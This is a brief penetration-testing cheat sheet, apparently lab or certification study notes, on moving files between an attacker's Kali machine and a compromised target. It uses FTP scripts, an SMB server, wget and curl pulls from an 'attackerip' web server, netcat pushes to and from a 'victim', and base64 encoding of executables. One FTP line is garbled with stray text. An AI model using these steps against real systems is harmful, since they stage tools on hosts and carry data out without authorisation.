# File Transfer

## One

```
#FTP
/etc/init.d/pure-ftpd restart

#Windows 
echo "open ">ftp.txt
echo "offsec">>ftp.txt
echo "offsec">>ftp.txt
echo "bin">>ftp.txt
echo "get file.exe">>ftp.txt
echo "bye">>ftp.txt

ftp -s ftp.txt

#Linux 
ftp -4 -d -v ftp://offsec:offsec@127.0.0.1//linuxprichecker.py < ftp upload one liner linux



#Smbsever
impacket-smbserver

net view \\<ip>

#SCP
After login through ssh 
scp user@remote:/path
```

## Linux

```
Python SimpleHTTPServer

#on Attacker
python -m SimpleHTTPServer

#on target
wget <attackerip>:8000/filename


------------------------------

Apache

#on Attacker
cp filetosend.txt /var/www/html
service apache2 start

#on target
wget http://attackerip/file
curl http://attackerip/file > file
fetch http://attackerip/file        # on BSD

----------------------------------

Netcat (From Target to Kali)

# Listen on Kali
nc -lvp 4444 > file

# Send from Target machine
nc <kali_ip> 4444 < file

-----------------


Netcat (From Kali to Target)

# on target, wait for the file
nc -nvlp 55555 > file

# on kali, push the file
nc $victimip 55555 < file


----------------------

Extra:
To send the executable file to your machine:

base64 executable
# copy the output
# paste it in a file called file.txt
# decode it and create the executable
base64 -d file.txt > executable
```
